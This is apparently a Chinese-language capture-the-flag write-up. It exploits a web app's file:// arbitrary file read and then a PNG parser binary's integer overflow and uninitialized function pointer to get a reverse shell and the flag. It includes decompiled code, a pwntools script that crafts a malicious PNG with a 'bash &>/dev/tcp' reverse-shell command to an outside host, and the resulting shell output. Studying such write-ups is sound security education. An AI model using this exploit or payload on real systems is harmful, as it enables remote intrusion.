1. 漏洞分析
网站中包含一个任意文件读的漏洞,把协议改成file://
并在url
处输入路径就可以进行任意读,传回来的时候经过了base64编码,解码即可,读取文件知道上传后的图片其实是让二进制程序进行解析
def parser_run(png_data):
f = tempfile.NamedTemporaryFile(delete=False)
f.write(png_data)
f.close()
args = "./PNGParser %s" %(f.name)
proc = Popen(args, stdout=PIPE, stderr=PIPE, stdin=PIPE, shell=True)
out, err = proc.communicate()
os.unlink(f.name)
return out
其实这是一个pwn题。。。通过逆向知道这是一个PNG解析程序,并存在多个漏洞。
1.1 漏洞1(整数溢出)
这处是在解析数据的代码中
signed int __cdecl parse_data(struct_parse_png *parse_chunk)
{
signed int v2; // [sp+34h] [bp-4h]@3
switch ( parse_chunk->parse_status )
{
case 0xB:
if ( !memcmp(&parse_chunk->chunk_size_big, &png_header, 8u) )
{
parse_chunk->parse_status = 0xC;
parse_chunk->read_size = 8;
parse_chunk->read_offset = 0;
parse_chunk->data_addr = parse_chunk + 4;
goto LABEL_17;
}
v2 = 0;
printf("INVALID PNG SIGNATURE\n");
break;
case 0xC:
parse_chunk->chunk_size = big_2_little(&parse_chunk->chunk_size_big);
if ( !parse_chunk->chunk_size )
goto LABEL_12;
if ( !strcmp(&parse_chunk->chunk_type, "PLTE") )
parse_chunk->chunk_data = malloc(parse_chunk->chunk_size);
else
parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size);
if ( parse_chunk->chunk_data )
{
parse_chunk->parse_status = 0xD;
parse_chunk->read_size = parse_chunk->chunk_size;
parse_chunk->read_offset = 0;
parse_chunk->data_addr = parse_chunk->chunk_data;
goto LABEL_17;
}
v2 = 0;
printf("CAN'T ALLOCATE MEMORY: %u bytes\n", parse_chunk->chunk_size);
break;
case 0xD:
LABEL_12:
parse_chunk->parse_status = 0xE;
parse_chunk->read_size = 4;
parse_chunk->read_offset = 0;
parse_chunk->data_addr = parse_chunk + 12;
goto LABEL_17;
case 0xE:
if ( ::parse_chunk(parse_chunk) )
{
free_data(parse_chunk);
parse_chunk->parse_status = 0xC;
parse_chunk->read_size = 8;
parse_chunk->read_offset = 0;
parse_chunk->data_addr = parse_chunk + 4;
LABEL_17:
v2 = 1;
}
else
{
v2 = 0;
}
break;
default:
v2 = 0;
printf("INTERNAL ERROR\n");
break;
}
return v2;
}
在第26行malloc
内存时如果chunk_size过大就会造成整数溢出。
1.2 漏洞2(未初始化)
这处是在输出PLTE
类型的chunk的代码中
signed int __cdecl print_plte(struct_part_chunk *chunk)
{
void (__cdecl **func_addr)(int); // [sp+40h] [bp-18h]@1
unsigned int rgb_size; // [sp+44h] [bp-14h]@1
unsigned int i; // [sp+48h] [bp-10h]@7
signed int v5; // [sp+50h] [bp-8h]@3
rgb_size = chunk->data_len / 3u;
func_addr = malloc(4u);
if ( chunk->data_len && !(chunk->data_len % 3u) )
{
if ( chunk->data_len / 3u <= 0x100 )
*func_addr = print_PALETTE;
else
fputs("PLTE CHUNK LENGTH INVALID.\n", stderr);
for ( i = 0; i < rgb_size; ++i )
{
if ( i > 0x14 )
{
printf("...\n");
break;
}
(*func_addr)((chunk->data[3 * i + 2] << 8) + (chunk->data[3 * i + 1] << 16) + (chunk->data[3 * i] << 24));
}
v5 = 1;
}
else
{
v5 = 0;
fputs("PLTE CHUNK LENGTH INVALID.\n", stderr);
}
return v5;
}
第9行malloc
后并没有进行初始化,并且第12行的if
判断失败后函数没有立即返回,这样就可能导致可以控制第23行的函数指针调用。
2. 漏洞利用
先说一个比较坑的地方,在Ubuntu 16.04中printf时会申请stdout的buffer,这样会导致堆布局更预想的不一样,并且命令行启的程序和Popen
方式启的程序的buffer大小还不同,因此需要Popen
启程序来调试。。。
总体思路:在top chunk上残留数据并使malloc(4)
时从top chunk上分配,由于未初始化来控制函数指针使其为system@plt
的地址,同时可以控制参数地址高位的3个字节0xXXXXXX00
,再分析程序可以发现在输出tEXt
类型的chunk时正好可以控制0x0804E500
地址处的内容
signed int __cdecl print_text(struct_part_chunk *chunk)
{
void *v2; // [sp+30h] [bp-28h]@1
unsigned int len; // [sp+34h] [bp-24h]@1
unsigned int n; // [sp+38h] [bp-20h]@1
int v5; // [sp+3Ch] [bp-1Ch]@10
unsigned int i; // [sp+40h] [bp-18h]@10
unsigned int j; // [sp+40h] [bp-18h]@15
unsigned int v8; // [sp+40h] [bp-18h]@18
unsigned int v9; // [sp+4Ch] [bp-Ch]@3
signed int v10; // [sp+54h] [bp-4h]@2
n = strlen(chunk->data);
len = chunk->data_len;
v2 = memchr(chunk->data, 0, chunk->data_len);
if ( v2 )
{
v9 = v2 - chunk->data;
if ( memchr(v2 + 1, 0, chunk->data_len - (v9 + 1)) )
{
v10 = 0;
fputs("tEXt CHUNK INVALID.\n", stderr);
}
else if ( v9 <= 0x4F && v9 >= 1 )
{
if ( n < 0x82 )
{
memcpy(byte_804E45C, chunk->data, n);
v5 = 0;
for ( i = v9 + 1; i < chunk->data_len; ++i )
{
if ( v5 == 0x82 )
{
len = 0x82;
break;
}
byte_804E4DE[v5++] = chunk->data[i];
}
for ( j = 0; j < n; ++j )
printf("%c", byte_804E45C[j]);
v8 = 0;
printf(":");
while ( v8 < len )
printf("%c", byte_804E4DE[v8++]);
v10 = 1;
printf("\n");
}
else
{
v10 = 0;
}
}
else
{
v10 = 0;
fputs("tEXt CHUNK LENGTH INVALID.\n", stderr);
}
}
else
{
v10 = 0;
fputs("tEXt CHUNK INVALID.\n", stderr);
}
return v10;
}
上面第37行对数组赋值时就可以控制system
的参数内容。
下面是生成png的脚本
from pwn import *
import zlib,ctypes
elf = ELF('./PNGParser')
file_content = "89504E470D0A1A0A".decode('hex')
file_content += p32(0xd, endian="big")
head_content = "IHDR"
head_content += "00000B04000005A60806000000".decode('hex')
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big")
command = "bash -c 'bash&>/dev/tcp/2032837031/6666<&1';" + "A" * 128
text = p32(elf.plt['system']) + "\x00" + "A" * 34 + command
file_content += p32(len(text), endian="big")
head_content = "tEXt"
head_content += text
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big")
file_content += p32(0x80000001, endian="big")
head_content = "PLTE"
head_content += p32(0x804e500, endian="big") + 'A' * 1996
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32("PLTE")).value, endian="big")
fp = open('./test.png','wb')
fp.write(file_content)
fp.close()
特别要注意的是第22行的PLTE chunk的长度为0x80000001
,看下读取数据时的代码
int __cdecl parse_png(struct_parse_png *parse_png, int data, unsigned int data_len)
{
size_t readed_size; // [sp+Ch] [bp-2Ch]@4
int v5; // [sp+20h] [bp-18h]@1
unsigned int i; // [sp+24h] [bp-14h]@1
i = 0;
v5 = 0;
while ( i < data_len )
{
if ( data_len - i >= parse_png->read_size - parse_png->read_offset )
readed_size = parse_png->read_size - parse_png->read_offset;
else
readed_size = 2000;
strcmp(&parse_png->chunk_type, "PLTE");
memcpy((parse_png->read_offset + parse_png->data_addr), (i + data), readed_size);
parse_png->read_offset += readed_size;
i += readed_size;
if ( parse_png->read_offset >= parse_png->read_size )
{
v5 = parse_data(parse_png);
if ( !v5 )
return 0;
}
}
return v5;
}
上面第11行的是无符号判断,第19行是有符号判断,这样在parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size)
时就可以把之前释放的fastbin
占位
然后在func_addr = malloc(4u)
时从top chunk分配空间
到call eax
时执行system
最后成功反弹shell拿到flag
ls -al
total 52
drwxr-xr-x 4 root root 4096 Feb 9 08:46 .
drwxr-xr-x 65 root root 4096 Feb 9 09:42 ..
-rwsr-xr-x 1 root parser 22076 Feb 9 08:42 PNGParser
-rw-r--r-- 1 root root 25 Feb 9 08:42 Th1s_1s_S3creT_F14g_F0r_YoU
-rw-r--r-- 1 root root 1863 Feb 9 08:42 app.py
-rw-r--r-- 1 root root 67 Feb 9 08:42 requirements.txt
drwxr-xr-x 5 root root 4096 Feb 9 08:42 static
drwxr-xr-x 2 root root 4096 Feb 9 08:42 templates
cat Th1s_1s_S3creT_F14g_F0r_YoU
FLAG{sh3_1s_b3t1fu1_#$%}